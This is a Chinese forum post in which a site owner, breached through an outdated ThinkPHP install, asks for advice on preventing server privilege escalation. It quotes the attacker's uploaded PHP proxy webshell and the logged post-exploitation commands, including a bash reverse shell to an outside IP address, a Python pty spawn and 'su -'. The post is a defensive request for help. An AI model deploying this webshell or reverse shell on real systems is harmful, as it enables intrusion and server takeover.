- 积分
 - 167
 
- 威望
 -  
 
- 金钱
 -  
 
- 注册时间
 - 2013-5-28
 
- 在线时间
 -  小时
 
- 最后登录
 - 1970-1-1
 
 
 
 
 
 
 | 
 
 
  由于用了老版本thinkphp被入侵了,然后上传了php文件,现在问题如果只是入侵一个站也就算了,目前入侵后竟然可以拿到服务器权限, 
代码如下 
- <?php
 
 - function get_client_header(){
 
 -     $headers=array();
 
 -     foreach($_SERVER as $k=>$v){
 
 -         if(strpos($k,'HTTP_')===0){
 
 -             $k=strtolower(preg_replace('/^HTTP/', '', $k));
 
 -             $k=preg_replace_callback('/_\w/','header_callback',$k);
 
 -             $k=preg_replace('/^_/','',$k);
 
 -             $k=str_replace('_','-',$k);
 
 -             if($k=='Host') continue;
 
 -             $headers[]="$k:$v";
 
 -         }
 
 -     }
 
 -     return $headers;
 
 - }
 
 - function header_callback($str){
 
 -     return strtoupper($str[0]);
 
 - }
 
 - function parseHeader($sResponse){
 
 -     list($headerstr,$sResponse)=explode("
 
  
 
 
- ",$sResponse, 2);
 
 -     $ret=array($headerstr,$sResponse);
 
 -     if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
 
 -         $ret=parseHeader($sResponse);
 
 -     }
 
 -     return $ret;
 
 - }
 
  
- set_time_limit(120);
 
 - $headers=get_client_header();
 
 - $host = "127.0.0.1";
 
 - $port = 62235;
 
 - $errno = '';
 
 - $errstr = '';
 
 - $timeout = 30;
 
 - $url = "/1.php";
 
  
- if (!empty($_SERVER['QUERY_STRING'])){
 
 -     $url .= "?".$_SERVER['QUERY_STRING'];
 
 - };
 
  
- $fp = fsockopen($host, $port, $errno, $errstr, $timeout);
 
 - if(!$fp){
 
 -     return false;
 
 - }
 
  
- $method = "GET";
 
 - $post_data = "";
 
 - if($_SERVER['REQUEST_METHOD']=='POST') {
 
 -     $method = "POST";
 
 -     $post_data = file_get_contents('php://input');
 
 - }
 
  
- $out = $method." ".$url." HTTP/1.1\r\n";
 
 - $out .= "Host: ".$host.":".$port."\r\n";
 
 - if (!empty($_SERVER['CONTENT_TYPE'])) {
 
 -     $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
 
 - }
 
 - $out .= "Content-length:".strlen($post_data)."\r\n";
 
  
- $out .= implode("\r\n",$headers);
 
 - $out .= "\r\n\r\n";
 
 - $out .= "".$post_data;
 
  
- fputs($fp, $out);
 
  
- $response = '';
 
 - while($row=fread($fp, 4096)){
 
 -     $response .= $row;
 
 - }
 
 - fclose($fp);
 
 - $pos = strpos($response, "\r\n\r\n");
 
 - $response = substr($response, $pos+4);
 
 - echo $response;
 
 
  复制代码 
然后上传了一个so后缀文件这个就不上传了,提权用的, 
运行命令如下 
- /bin/sh -c cd /data/114/sp/public;bash -i >& /dev/tcp/47.104.86.101/39553 0>&1;echo 8087a12ec;pwd;echo 5cd09d5a4e86
 
 - bash -i
 
 - python -c import pty;pty.spawn('/bin/bash')
 
 - /bin/bash
 
 - /bin/sh
 
 - su -
 
 - -bash
 
  复制代码 
如果学习可自行百度命令意思 
 
目前怎么防止入侵后网站后提权获取到服务器权限,高手指点一下谢谢 
特别说明网站限制.user.ini是没有用的 
人家直接提权获取服务器权限 
 
 
 
 
 
 |   
 
 
 
 |